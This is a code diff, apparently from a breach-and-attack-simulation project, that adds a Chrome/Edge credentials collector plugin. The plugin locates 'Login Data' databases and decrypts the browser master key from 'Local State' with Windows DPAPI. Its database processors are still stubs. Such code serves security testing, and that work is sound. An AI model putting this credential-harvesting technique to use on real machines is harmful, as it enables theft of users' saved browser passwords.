Implement WindowsCredentialsDatabaseSelector

monkey/agent_plugins/credentials_collectors/chrome/src/browser_credentials_database_path.py

@@ -0,0 +1,9 @@
+from dataclasses import dataclass
+from pathlib import Path
+from typing import Optional
+
+
+@dataclass(frozen=True)
+class BrowserCredentialsDatabasePath:
+    database_file_path: Path
+    master_key: Optional[bytes]

monkey/agent_plugins/credentials_collectors/chrome/src/chrome_browser_local_data.py

@@ -0,0 +1,61 @@
+import json
+import logging
+from contextlib import contextmanager
+from dataclasses import dataclass, field
+from pathlib import Path
+from typing import Collection, Iterator, Set
+
+logger = logging.getLogger(__name__)
+
+
+@dataclass(kw_only=True)
+class ChromeBrowserLocalState:
+    profile_names: Set[str] = field(default_factory=set)
+
+
+@contextmanager
+def read_local_state(local_state_file_path: Path):
+    """
+    Parse the local state file for a Chrome-based browser
+    """
+
+    try:
+        with open(local_state_file_path) as f:
+            local_state_object = json.load(f)
+            yield local_state_object
+    except FileNotFoundError:
+        logger.error(f'Couldn\'t find local state file at "{local_state_file_path}"')
+    except json.decoder.JSONDecodeError as err:
+        logger.error(f'Couldn\'t deserialize JSON file at "{local_state_file_path}": {err}')
+
+
+class ChromeBrowserLocalData:
+    """
+    The local data for a Chrome-based browser
+
+    :param local_data_directory_path: Path to the browser's local data directory
+    """
+
+    def __init__(self, local_data_directory_path: Path, profile_names: Collection[str]):
+        self._local_data_directory_path = local_data_directory_path
+        self._profile_names = profile_names
+
+    @property
+    def profile_names(self) -> Collection[str]:
+        """
+        Get the names of all profiles for this browser
+        """
+
+        return self._profile_names
+
+    @property
+    def credentials_database_paths(self) -> Iterator[Path]:
+        """
+        Get the paths to all of the browser's credentials databases
+        """
+
+        for profile_name in self._profile_names:
+            database_path = Path(self._local_data_directory_path) / profile_name / "Login Data"
+
+            if database_path.exists() and database_path.is_file():
+                yield database_path

monkey/agent_plugins/credentials_collectors/chrome/src/chrome_credentials_collector_builder.py

@@ -10,7 +10,6 @@
 from .linux_credentials_database_selector import LinuxCredentialsDatabaseSelector
 from .typedef import CredentialsDatabaseProcessorCallable, CredentialsDatabaseSelectorCallable
 from .windows_credentials_database_processor import WindowsCredentialsDatabaseProcessor
-from .windows_credentials_database_selector import WindowsCredentialsDatabaseSelector
 
 logger = logging.getLogger(__name__)
 
@@ -32,6 +31,8 @@ def build_chrome_credentials_collector(
 
 def _build_credentials_database_selector() -> CredentialsDatabaseSelectorCallable:
     if get_os() == OperatingSystem.WINDOWS:
+        from .windows_credentials_database_selector import WindowsCredentialsDatabaseSelector
+
         return WindowsCredentialsDatabaseSelector()
     return LinuxCredentialsDatabaseSelector()
 

monkey/agent_plugins/credentials_collectors/chrome/src/linux_credentials_database_processor.py

@@ -1,15 +1,16 @@
-from pathlib import PurePath
-from typing import Sequence
+from typing import Collection
 
 from common.credentials import Credentials
 from common.types import Event
 
+from .browser_credentials_database_path import BrowserCredentialsDatabasePath
+
 
 class LinuxCredentialsDatabaseProcessor:
     def __init__(self):
         pass
 
     def __call__(
-        self, interrupt: Event, database_paths: Sequence[PurePath]
-    ) -> Sequence[Credentials]:
+        self, interrupt: Event, database_paths: Collection[BrowserCredentialsDatabasePath]
+    ) -> Collection[Credentials]:
         return []

monkey/agent_plugins/credentials_collectors/chrome/src/linux_credentials_database_selector.py

@@ -1,10 +1,11 @@
-from pathlib import PurePath
-from typing import Sequence
+from typing import Collection
+
+from .browser_credentials_database_path import BrowserCredentialsDatabasePath
 
 
 class LinuxCredentialsDatabaseSelector:
     def __init__(self):
         pass
 
-    def __call__(self) -> Sequence[PurePath]:
+    def __call__(self) -> Collection[BrowserCredentialsDatabasePath]:
         return []

monkey/agent_plugins/credentials_collectors/chrome/src/typedef.py

@@ -1,10 +1,13 @@
-from pathlib import PurePath
-from typing import Callable, Sequence, TypeAlias
+from typing import Callable, Collection, TypeAlias
 
 from common.credentials import Credentials
 from common.types import Event
 
-CredentialsDatabaseSelectorCallable: TypeAlias = Callable[[], Sequence[PurePath]]
+from .browser_credentials_database_path import BrowserCredentialsDatabasePath
+
+CredentialsDatabaseSelectorCallable: TypeAlias = Callable[
+    [], Collection[BrowserCredentialsDatabasePath]
+]
 CredentialsDatabaseProcessorCallable: TypeAlias = Callable[
-    [Event, Sequence[PurePath]], Sequence[Credentials]
+    [Event, Collection[BrowserCredentialsDatabasePath]], Collection[Credentials]
 ]

monkey/agent_plugins/credentials_collectors/chrome/src/windows_credentials_database_processor.py

@@ -1,15 +1,16 @@
-from pathlib import PurePath
-from typing import Sequence
+from typing import Collection
 
 from common.credentials import Credentials
 from common.types import Event
 
+from .browser_credentials_database_path import BrowserCredentialsDatabasePath
+
 
 class WindowsCredentialsDatabaseProcessor:
     def __init__(self):
         pass
 
     def __call__(
-        self, interrupt: Event, database_paths: Sequence[PurePath]
-    ) -> Sequence[Credentials]:
+        self, interrupt: Event, database_paths: Collection[BrowserCredentialsDatabasePath]
+    ) -> Collection[Credentials]:
         return []

monkey/agent_plugins/credentials_collectors/chrome/src/windows_credentials_database_selector.py

@@ -1,10 +1,131 @@
-from pathlib import PurePath
-from typing import Sequence
+import base64
+import getpass
+import logging
+import os
+from dataclasses import dataclass
+from pathlib import Path
+from typing import Any, Collection, Dict, Optional, Set
+
+from .chrome_browser_local_data import (
+    ChromeBrowserLocalData,
+    ChromeBrowserLocalState,
+    read_local_state,
+)
+from .browser_credentials_database_path import BrowserCredentialsDatabasePath
+from .windows_decryption import win32crypt_unprotect_data
+
+logger = logging.getLogger(__name__)
+
+DRIVE = "C"
+LOCAL_APPDATA = "{drive}:\\Users\\{user}\\AppData\\Local"
+
+WINDOWS_BROWSERS_DATA_DIR = {
+    "Chromium Edge": "{local_appdata}/Microsoft/Edge/User Data",
+    "Google Chrome": "{local_appdata}/Google/Chrome/User Data",
+}
+
+
+@dataclass(kw_only=True)
+class WindowsChromeBrowserLocalState(ChromeBrowserLocalState):
+    master_key: Optional[bytes] = None
+
+
+class WindowsChromeBrowserLocalData(ChromeBrowserLocalData):
+    def __init__(self, local_data_directory_path: Path, profile_names, master_key):
+        super().__init__(local_data_directory_path, profile_names)
+        self._master_key = master_key
+
+    @property
+    def master_key(self) -> Optional[bytes]:
+        return self._master_key
+
+
+def create_windows_chrome_browser_local_data(
+    local_data_directory: Path,
+) -> WindowsChromeBrowserLocalData:
+    local_state = WindowsChromeBrowserLocalState()
+    with read_local_state(local_data_directory / "Local State") as local_state_object:
+        local_state = _parse_windows_local_state(local_state_object)
+
+    return WindowsChromeBrowserLocalData(
+        local_data_directory, local_state.profile_names, local_state.master_key
+    )
+
+
+def _parse_windows_local_state(local_state_object: Any) -> WindowsChromeBrowserLocalState:
+    local_state = WindowsChromeBrowserLocalState()
+    try:
+        local_state.profile_names = set(local_state_object["profile"]["info_cache"].keys())
+        encoded_key = local_state_object["os_crypt"]["encrypted_key"]
+        encrypted_key = base64.b64decode(encoded_key)
+        local_state.master_key = _decrypt_windows_master_key(encrypted_key)
+    except (KeyError, TypeError):
+        logger.error("Failed to parse the browser's local state file.")
+    return local_state
+
+
+def _decrypt_windows_master_key(master_key: bytes) -> Optional[bytes]:
+    try:
+        key = master_key[5:]  # removing DPAPI
+        key = win32crypt_unprotect_data(key)
+        return key
+    except Exception as err:
+        logger.error(
+            "Exception encountered while trying to get master key "
+            f"from browser's local state: {err}"
+        )
+        return None
 
 
 class WindowsCredentialsDatabaseSelector:
     def __init__(self):
-        pass
+        user = getpass.getuser()
+        local_appdata = LOCAL_APPDATA.format(drive=DRIVE, user=user)
+        local_appdata = os.getenv("LOCALAPPDATA", local_appdata)
+
+        self._browsers_data_dir: Dict[str, Path] = {}
+        for browser_name, browser_directory in WINDOWS_BROWSERS_DATA_DIR.items():
+            self._browsers_data_dir[browser_name] = Path(
+                browser_directory.format(local_appdata=local_appdata)
+            )
+
+    def __call__(self) -> Collection[BrowserCredentialsDatabasePath]:
+        """
+        Get browsers' credentials' database directories for current user
+        """
+
+        databases: Set[BrowserCredentialsDatabasePath] = set()
+
+        for browser_name, browser_local_data_directory_path in self._browsers_data_dir.items():
+            logger.info(f'Attempting to locate credentials database for browser "{browser_name}"')
+
+            browser_databases = (
+                WindowsCredentialsDatabaseSelector._get_credentials_database_paths_for_browser(
+                    browser_local_data_directory_path
+                )
+            )
+
+            logger.info(
+                f"Found {len(browser_databases)} credentials databases "
+                f'for browser "{browser_name}"'
+            )
+
+            databases.update(browser_databases)
+
+        return databases
+
+    @staticmethod
+    def _get_credentials_database_paths_for_browser(
+        browser_local_data_directory_path: Path,
+    ) -> Collection[BrowserCredentialsDatabasePath]:
+        try:
+            local_data = create_windows_chrome_browser_local_data(browser_local_data_directory_path)
+        except Exception:
+            return []
 
-    def __call__(self) -> Sequence[PurePath]:
-        return []
+        master_key = local_data.master_key
+        paths_for_each_profile = local_data.credentials_database_paths
+        return {
+            BrowserCredentialsDatabasePath(database_file_path=path, master_key=master_key)
+            for path in paths_for_each_profile
+        }

monkey/agent_plugins/credentials_collectors/chrome/src/windows_decryption.py

@@ -0,0 +1,69 @@
+from ctypes import (
+    POINTER,
+    Structure,
+    WinDLL,
+    byref,
+    c_buffer,
+    c_char,
+    create_string_buffer,
+    memmove,
+    sizeof,
+)
+from ctypes.wintypes import BOOL, DWORD, HANDLE, HWND, LPCWSTR, LPVOID, LPWSTR
+
+
+class DATA_BLOB(Structure):
+    _fields_ = [("cbData", DWORD), ("pbData", POINTER(c_char))]
+
+
+class CRYPTPROTECT_PROMPTSTRUCT(Structure):
+    _fields_ = [
+        ("cbSize", DWORD),
+        ("dwPromptFlags", DWORD),
+        ("hwndApp", HWND),
+        ("szPrompt", LPCWSTR),
+    ]
+
+
+PCRYPTPROTECT_PROMPTSTRUCT = POINTER(CRYPTPROTECT_PROMPTSTRUCT)
+
+crypt32 = WinDLL("crypt32", use_last_error=True)
+kernel32 = WinDLL("kernel32", use_last_error=True)
+
+LocalFree = kernel32.LocalFree
+LocalFree.restype = HANDLE
+LocalFree.argtypes = [HANDLE]
+
+CryptUnprotectData = crypt32.CryptUnprotectData
+CryptUnprotectData.restype = BOOL
+CryptUnprotectData.argtypes = [
+    POINTER(DATA_BLOB),
+    POINTER(LPWSTR),
+    POINTER(DATA_BLOB),
+    LPVOID,
+    PCRYPTPROTECT_PROMPTSTRUCT,
+    DWORD,
+    POINTER(DATA_BLOB),
+]
+
+
+def _get_data(blobOut):
+    cbData = blobOut.cbData
+    pbData = blobOut.pbData
+    buffer = create_string_buffer(cbData)
+    memmove(buffer, pbData, sizeof(buffer))
+    LocalFree(pbData)
+    return buffer.raw
+
+
+def win32crypt_unprotect_data(cipherText):
+    decrypted = None
+
+    bufferIn = c_buffer(cipherText, len(cipherText))
+    blobIn = DATA_BLOB(len(cipherText), bufferIn)
+    blobOut = DATA_BLOB()
+
+    if CryptUnprotectData(byref(blobIn), None, None, None, None, 0, byref(blobOut)):
+        decrypted = _get_data(blobOut)
+
+    return decrypted